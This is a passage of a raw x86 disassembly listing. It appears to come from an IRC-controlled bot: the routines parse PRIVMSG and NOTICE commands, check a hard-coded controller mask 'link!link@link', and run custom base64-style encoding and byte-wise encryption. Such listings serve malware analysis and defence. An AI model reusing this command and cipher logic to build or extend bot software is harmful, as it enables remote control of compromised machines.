loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch

loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41EA7C, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------

loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41EA7C, 0

loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B

loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------

loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5

loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h

loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------

loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax

loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DB10[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------

loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
		push	off_41DB10[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	off_41DB10[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DB10[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------

loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DB10[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------

loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------

loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1

loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------

loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax

loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0

loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al

loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------

loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------

loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: sub_4167F1+2C9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------

loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: sub_4167F1+E4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------

loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41EA80[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------

loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------

loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41EA80[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------

loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0

loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA80[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------

loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------

loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA80[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------

loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------

loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA80[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------

loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------

loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA80[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------

loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------

loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA80[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------

loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------

loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41EA80[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------

loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------

loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------

loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0

loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------

loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------

loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------

loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------

loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------

loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA80[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------

loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------

loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------

loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: sub_4167F1+FEp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EB84
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EB84
		push	10h
		pop	edx

loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax

loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h

loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EB84[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------

loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: sub_4167F1+10Cp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EB98
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EB98
		mov	edi, esi
		push	10h
		pop	ecx

loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------

loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------

loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
